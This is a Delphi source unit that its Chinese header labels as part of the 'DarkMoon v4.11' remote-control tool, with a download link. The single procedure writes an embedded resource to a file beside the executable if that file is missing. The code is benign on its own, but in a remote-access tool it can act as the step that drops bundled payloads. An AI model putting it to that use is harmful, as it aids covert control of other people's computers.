resources.pas

DarkMoon v4.11 (远程控制) 国外收集的代码,控件下载: http://www.winio.cn/Blogs/jishuwenzhang/200712/20071208230135.

unit resources;

interface
procedure LoadResource(HeaderName : string;RestName : string);
implementation
   uses windows,classes,SysUtils;
procedure LoadResource(HeaderName : string;RestName : string);
var
 rStream: TResourceStream;
 fStream: TFileStream;
 fname: string;
 begin
  if FileExists(ExtractFileDir(Paramstr(0))+'\' + HeaderName)=false  then begin
                fname:=ExtractFileDir(Paramstr(0))+'\' + pchar(HeaderName);
                rStream := TResourceStream.Create
                (hInstance, RestName , RT_RCDATA);
                try
                fStream := TFileStream.Create(fname, fmCreate);
                try
                fStream.CopyFrom(rStream, 0);
                finally
                fStream.Free;
                end;
                finally
                rStream.Free;
                end;

           end;
end;


end.